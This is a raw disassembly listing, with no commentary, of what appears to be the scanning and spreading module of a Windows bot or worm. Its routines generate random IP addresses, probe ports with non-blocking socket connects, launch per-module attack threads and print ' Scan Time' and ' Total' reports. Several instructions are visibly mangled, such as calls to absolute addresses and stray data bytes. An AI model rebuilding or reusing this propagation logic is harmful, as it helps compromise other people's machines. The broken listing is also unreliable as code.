jnz short loc_40B4E0
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B4E0
cmp byte ptr [esi], 0
jnz short loc_40B4E0
push 1
pop eax
jmp short loc_40B4E2
; ---------------------------------------------------------------------------
loc_40B4E0: ; CODE XREF: sub_40B44F+72j
; sub_40B44F+7Dj ...
xor eax, eax
loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj
pop esi
pop ebp
retn
sub_40B44F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B506
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B506: ; CODE XREF: sub_40B4E5+19j
push ebx
push esi
loc_40B508: ; CODE XREF: sub_40B4E5+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B516
cmp [ebp+var_4], eax
jnz short loc_40B562
loc_40B516: ; CODE XREF: sub_40B4E5+2Aj
test edi, edi
jnz short loc_40B557
cmp bl, 2Dh
jnz short loc_40B54B
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B54B
cmp al, 5Dh
jz short loc_40B54B
cmp [ebp+var_4], edi
jnz short loc_40B54B
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B557
cmp bl, al
jg short loc_40B557
push 1
mov [edx], esi
pop edi
jmp short loc_40B557
; ---------------------------------------------------------------------------
loc_40B54B: ; CODE XREF: sub_40B4E5+38j
; sub_40B4E5+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B557
push 1
pop edi
loc_40B557: ; CODE XREF: sub_40B4E5+33j
; sub_40B4E5+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B508
; ---------------------------------------------------------------------------
loc_40B562: ; CODE XREF: sub_40B4E5+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B56F
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B56F: ; CODE XREF: sub_40B4E5+82j
cmp edi, eax
jnz short loc_40B578
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B578: ; CODE XREF: sub_40B4E5+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B4E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B57D proc near ; CODE XREF: sub_40B44F+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B599: ; CODE XREF: sub_40B57D+3Aj
cmp [eax], bl
jz short loc_40B5B9
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B5AE
cmp cl, 2Ah
jnz short loc_40B5B9
cmp cl, 3Fh
jnz short loc_40B5B1
loc_40B5AE: ; CODE XREF: sub_40B57D+25j
inc eax
mov [edi], eax
loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B599
; ---------------------------------------------------------------------------
loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej
; sub_40B57D+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B5C4
inc dword ptr [esi]
jmp short loc_40B5B9
; ---------------------------------------------------------------------------
loc_40B5C4: ; CODE XREF: sub_40B57D+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B5E5
mov edx, [esi]
cmp [edx], bl
jz short loc_40B5D6
xor eax, eax
jmp short loc_40B645
; ---------------------------------------------------------------------------
loc_40B5D6: ; CODE XREF: sub_40B57D+53j
cmp cl, bl
jnz short loc_40B5E5
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B5E5
push 1
pop eax
jmp short loc_40B645
; ---------------------------------------------------------------------------
loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj
; sub_40B57D+5Bj ...
push eax
push dword ptr [esi]
call sub_40B44F
pop ecx
test eax, eax
pop ecx
jnz short loc_40B62F
loc_40B5F3: ; CODE XREF: sub_40B57D+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B5F7: ; CODE XREF: sub_40B57D+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B60F
cmp cl, 5Bh
jz short loc_40B60F
cmp dl, bl
jz short loc_40B60F
inc eax
mov [edi], eax
jmp short loc_40B5F7
; ---------------------------------------------------------------------------
loc_40B60F: ; CODE XREF: sub_40B57D+82j
; sub_40B57D+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B626
push eax
push dword ptr [esi]
call sub_40B44F
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B62B
; ---------------------------------------------------------------------------
loc_40B626: ; CODE XREF: sub_40B57D+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B62B: ; CODE XREF: sub_40B57D+A7j
cmp eax, ebx
jnz short loc_40B5F3
loc_40B62F: ; CODE XREF: sub_40B57D+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B642
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B642
mov [ebp+var_4], 1
loc_40B642: ; CODE XREF: sub_40B57D+B6j
; sub_40B57D+BCj
mov eax, [ebp+var_4]
loc_40B645: ; CODE XREF: sub_40B57D+57j
; sub_40B57D+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B57D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_4317AC
push eax
xor ebx, ebx
call sub_41B886
cmp dword_431410, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B6BC
push esi
mov esi, offset dword_431418
loc_40B67D: ; CODE XREF: sub_40B64A+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B6B2
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_4317A0
push eax
call sub_41B886
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C1E0
add esp, 1Ch
loc_40B6B2: ; CODE XREF: sub_40B64A+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B67D
pop esi
loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj
push dword_4CACB4
call sub_41A88B
pop ecx
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41B886
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C1E0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40B64A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CDA80
mov ecx, dword_4CDA7C
push esi
push dword_4CACB4
lea esi, [ecx+eax]
call sub_41A88B
pop ecx
push eax
push esi
push dword_4CDA80
lea eax, [ebp+var_200]
push dword_4CDA7C
push offset unk_4317CC
push eax
call sub_41B886
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 30h
pop esi
leave
retn
sub_40B719 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CACB4
call sub_41A88B
pop ecx
push eax
lea eax, [ebp+var_200]
push dword_4CDCC4
push offset unk_431814
push eax
call sub_41B886
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 28h
leave
retn
sub_40B785 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BB20
push edi
lea eax, [ebp+var_800]
push offset dword_431860
push eax
call sub_41B886
cmp dword_431410, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40B846
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40B80F: ; CODE XREF: sub_40B7DA+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_431850
push eax
call sub_41B886
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C1E0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40B80F
pop esi
loc_40B846: ; CODE XREF: sub_40B7DA+2Dj
push dword_4CACB4
call sub_41A88B
pop ecx
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41B886
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C1E0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_800]
push eax
call sub_4151AC
add esp, 30h
pop edi
leave
retn
sub_40B7DA endp
; ---------------------------------------------------------------------------
byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
sub esp, 3F0h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp-134h]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp-134h]
push eax
call dword_4CAFB4
xor edi, edi
mov [ebp-8], eax
cmp dword_431410, edi
mov [ebp-4], edi
mov [ebp+8], edi
jz loc_40BA03
mov ebx, offset dword_431410
mov eax, ebx
loc_40B8F2: ; CODE XREF: ___:0040B9FDj
push dword ptr [ebp-1Ch]
push dword ptr [eax]
push dword ptr [ebp-8]
call sub_40C087
add esp, 0Ch
cmp eax, 1
jnz loc_40B9F3
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp-134h]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp-3F0h]
push offset unk_4318B0
push eax
call sub_41B886
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409A72
lea eax, [ebp-3F0h]
push eax
call sub_4151AC
add esp, 2Ch
lea eax, [ebp-134h]
push eax
lea eax, [ebp-1ECh]
push eax
call sub_41B886
pop ecx
lea eax, [ebp-15Ch]
pop ecx
push esi
push eax
call sub_41B886
cmp byte ptr [ebp-0A4h], 0
pop ecx
pop ecx
lea eax, [ebp-0A4h]
jnz short loc_40B98E
lea eax, [ebp-124h]
loc_40B98E: ; CODE XREF: ___:0040B986j
push eax
lea eax, [ebp-1DCh]
push eax
call sub_41B886
mov eax, [ebp-24h]
pop ecx
mov [ebp-1F0h], eax
mov eax, [ebp-14h]
mov [ebp-140h], eax
mov eax, [ebp-10h]
pop ecx
mov [ebp-13Ch], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp-150h], eax
mov eax, [ebp-18h]
push 2Fh
mov [ebp-14Ch], eax
mov eax, [ebp+8]
pop ecx
lea esi, [ebp-1F0h]
mov edi, esp
mov [ebp-148h], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc dword ptr [ebp-4]
xor edi, edi
loc_40B9F3: ; CODE XREF: ___:0040B905j
inc dword ptr [ebp+8]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40B8F2
loc_40BA03: ; CODE XREF: ___:0040B8E5j
push dword ptr [ebp-4]
lea eax, [ebp-134h]
push eax
lea eax, [ebp-3F0h]
push offset unk_43187C
push eax
call sub_41B886
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409A72
lea eax, [ebp-3F0h]
push eax
call sub_4151AC
push dword ptr [ebp-18h]
call sub_40B412
add esp, 2Ch
push edi
nop
; ---------------------------------------------------------------------------
db 0E8h, 0AAh, 45h
; ---------------------------------------------------------------------------
sub al, 2
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B33E
test eax, eax
pop ecx
jle short loc_40BA92
mov eax, [ebp+arg_C]
push dword_4CB0C0[eax*8]
call dword_4CB000
push eax
lea eax, [ebp+var_200]
push offset unk_431900
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_40BAA5
; ---------------------------------------------------------------------------
loc_40BA92: ; CODE XREF: sub_40BA56+13j
lea eax, [ebp+var_200]
push offset unk_4318E0
push eax
call sub_41B886
pop ecx
pop ecx
loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 18h
leave
retn
sub_40BA56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BACD proc near ; CODE XREF: sub_40C124+267p
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40BF9F
shl eax, 6
xor ebx, ebx
cmp dword_43141C[eax], ebx
jz loc_40BF9F
push 5
call sub_40B33E
test eax, eax
pop ecx
jnz loc_40BD54
mov eax, dword_429078
push edi
mov esi, offset dword_4CD17C
push 104h
push esi
push ebx
mov dword_4CD38C, eax
mov dword_4CD388, ebx
nop
call near ptr 2660000h
mov edi, offset byte_429108
push 103h
push edi
push offset dword_4CD280
call sub_41B5F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CD178, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4CD410, eax
jnz short loc_40BB80
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD390
call sub_41B5F0
add esp, 0Ch
mov dword_4CD414, 1
jmp short loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BB80: ; CODE XREF: sub_40BACD+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CD390
call sub_41B5F0
add esp, 0Ch
mov dword_4CD414, ebx
loc_40BB9A: ; CODE XREF: sub_40BACD+B1j
push esi
lea eax, [ebp+var_204]
push dword_4CD38C
push offset unk_42BE60
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B0F6
add esp, 1Ch
mov dword_4CD384, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD178
push offset word_411796
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, dword_4CD384
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40BC08
loc_40BBF6: ; CODE XREF: sub_40BACD+139j
cmp dword_4CD418, ebx
jnz short loc_40BC23
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_40BBF6
; ---------------------------------------------------------------------------
loc_40BC08: ; CODE XREF: sub_40BACD+127j
nop
call near ptr 2670897h
push eax
lea eax, [ebp+var_204]
push offset unk_431A20
push eax
call sub_41B886
add esp, 0Ch
loc_40BC23: ; CODE XREF: sub_40BACD+12Fj
lea eax, [ebp+var_204]
push eax
call sub_4151AC
mov eax, dword_4CACB0
mov esi, offset dword_4CD424
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CD634, eax
mov dword_4CD630, ebx
nop
call near ptr 2660000h
push 103h
push edi
push offset dword_4CD528
call sub_41B5F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CD420, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CD6B8, eax
push 7Fh
jnz short loc_40BCA4
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD638
call sub_41B5F0
add esp, 0Ch
mov dword_4CD6BC, 1
jmp short loc_40BCBE
; ---------------------------------------------------------------------------
loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CD638
call sub_41B5F0
add esp, 0Ch
mov dword_4CD6BC, ebx
loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4CD634
push offset unk_4319EC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B0F6
add esp, 1Ch
mov dword_4CD62C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD420
push offset byte_40E991
push ebx
push ebx
call near ptr 2670000h
nop
mov ecx, dword_4CD62C
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40BD2C
loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj
cmp dword_4CD6C0, ebx
jnz short loc_40BD47
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_40BD1A
; ---------------------------------------------------------------------------
loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj
nop
call near ptr 2670897h
push eax
lea eax, [ebp+var_204]
push offset unk_4319B8
push eax
call sub_41B886
add esp, 0Ch
loc_40BD47: ; CODE XREF: sub_40BACD+253j
lea eax, [ebp+var_204]
push eax
call sub_4151AC
pop ecx
loc_40BD54: ; CODE XREF: sub_40BACD+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_431424[ecx], ebx
jz loc_40BE7D
push 7
call sub_40B33E
test eax, eax
pop ecx
jnz loc_40BE77
mov eax, dword_4CDCBC
cmp [ebp+arg_90], bl
mov dword_4CD0E4, eax
mov eax, [ebp+arg_110]
mov dword_4CD0D8, eax
mov eax, [ebp+arg_138]
mov dword_4CD0E0, ebx
mov dword_4CD168, eax
push 7Fh
jnz short loc_40BDC8
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD0E8
call sub_41B5F0
add esp, 0Ch
mov dword_4CD16C, 1
jmp short loc_40BDE2
; ---------------------------------------------------------------------------
loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj
lea eax, [ebp+arg_90]
push eax
push offset dword_4CD0E8
call sub_41B5F0
add esp, 0Ch
mov dword_4CD16C, ebx
loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j
push dword_4CD0E4
lea eax, [ebp+var_204]
push offset unk_431988
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B0F6
add esp, 18h
mov dword_4CD0DC, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD0D8
push offset byte_40E6EF
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, dword_4CD0DC
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40BE4F
loc_40BE3D: ; CODE XREF: sub_40BACD+380j
cmp dword_4CD170, ebx
jnz short loc_40BE6A
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_40BE3D
; ---------------------------------------------------------------------------
loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej
call near ptr 2670897h
nop
push eax
lea eax, [ebp+var_204]
push offset unk_431950
push eax
call sub_41B886
add esp, 0Ch
loc_40BE6A: ; CODE XREF: sub_40BACD+376j
lea eax, [ebp+var_204]
push eax
call sub_4151AC
pop ecx
loc_40BE77: ; CODE XREF: sub_40BACD+2A8j
mov eax, [ebp+arg_130]
loc_40BE7D: ; CODE XREF: sub_40BACD+298j
shl eax, 6
cmp dword_431420[eax], ebx
jz loc_40BF9F
push 3
call sub_40B33E
test eax, eax
pop ecx
jnz loc_40BF9F
mov esi, offset dword_4CD954
push 104h
push esi
push ebx
nop
call near ptr 2660000h
push 5Ch
push esi
call sub_41BE40
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40BEBE
mov [eax], bl
loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj
mov eax, dword_42907C
mov dword_4CDA6C, ebx
mov dword_4CDA58, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD6CC
call sub_41B886
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CD6C8, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CDA58
mov dword_4CDA64, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CDA68, ecx
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42BDE8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B0F6
add esp, 20h
mov dword_4CDA60, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD6C8
push offset sub_40F0D5
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, dword_4CDA60
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40BF77
loc_40BF65: ; CODE XREF: sub_40BACD+4A8j
cmp dword_4CDA74, ebx
jnz short loc_40BF92
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_40BF65
; ---------------------------------------------------------------------------
loc_40BF77: ; CODE XREF: sub_40BACD+496j
nop
call near ptr 2670897h
push eax
lea eax, [ebp+var_204]
push offset unk_43191C
push eax
call sub_41B886
add esp, 0Ch
loc_40BF92: ; CODE XREF: sub_40BACD+49Ej
lea eax, [ebp+var_204]
push eax
call sub_4151AC
pop ecx
loc_40BF9F: ; CODE XREF: sub_40BACD+14j
; sub_40BACD+25j ...
pop esi
pop ebx
leave
retn
sub_40BACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CB0C0h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41C310
add esp, 0Ch
push [ebp+arg_0]
call dword_4CAE9C
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CAF70
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41C310
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40BFA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFEB proc near ; CODE XREF: sub_40C124+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41AFE0
cmp eax, 0Fh
pop ecx
jbe short loc_40C013
xor eax, eax
jmp short loc_40C084
; ---------------------------------------------------------------------------
loc_40C013: ; CODE XREF: sub_40BFEB+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41C645
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C040
call sub_41B8E2
mov [ebp+var_C], eax
loc_40C040: ; CODE XREF: sub_40BFEB+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C04D
call sub_41B8E2
mov [ebp+var_8], eax
loc_40C04D: ; CODE XREF: sub_40BFEB+58j
cmp [ebp+var_4], esi
jnz short loc_40C05A
call sub_41B8E2
mov [ebp+var_4], eax
loc_40C05A: ; CODE XREF: sub_40BFEB+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C066
call sub_41B8E2
loc_40C066: ; CODE XREF: sub_40BFEB+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CB0C0[ecx*8], eax
loc_40C084: ; CODE XREF: sub_40BFEB+26j
pop esi
leave
retn
sub_40BFEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C087 proc near ; CODE XREF: ___:0040B8FAp
; sub_40C124+BBp
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CAFF4
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C0B0
xor eax, eax
jmp short loc_40C11F
; ---------------------------------------------------------------------------
loc_40C0B0: ; CODE XREF: sub_40C087+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CAF74
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CB010
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CAF1C
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CAF5C
push esi
mov edi, eax
call dword_4CB00C
xor eax, eax
cmp edi, ebx
setnle al
loc_40C11F: ; CODE XREF: sub_40C087+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C087 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C124 proc near ; DATA XREF: sub_40C124+353o
var_29C = dword ptr -29Ch
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_1CC = byte ptr -1CCh
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_14C = byte ptr -14Ch
var_140 = byte ptr -140h
var_13C = byte ptr -13Ch
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
nop
call near ptr 2680865h
push eax
call sub_41B8D8
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C16B: ; CODE XREF: sub_40C124+204j
mov eax, dword_43DEB4[ebx]
cmp dword_4CB0C4[eax*8], 0
jz loc_40C32D
cmp [ebp+var_10], 0
push eax
jz short loc_40C195
lea eax, [ebp+var_150]
push eax
call sub_40BFEB
pop ecx
jmp short loc_40C19A
; ---------------------------------------------------------------------------
loc_40C195: ; CODE XREF: sub_40C124+60j
call sub_40BFA3
loc_40C19A: ; CODE XREF: sub_40C124+6Fj
pop ecx
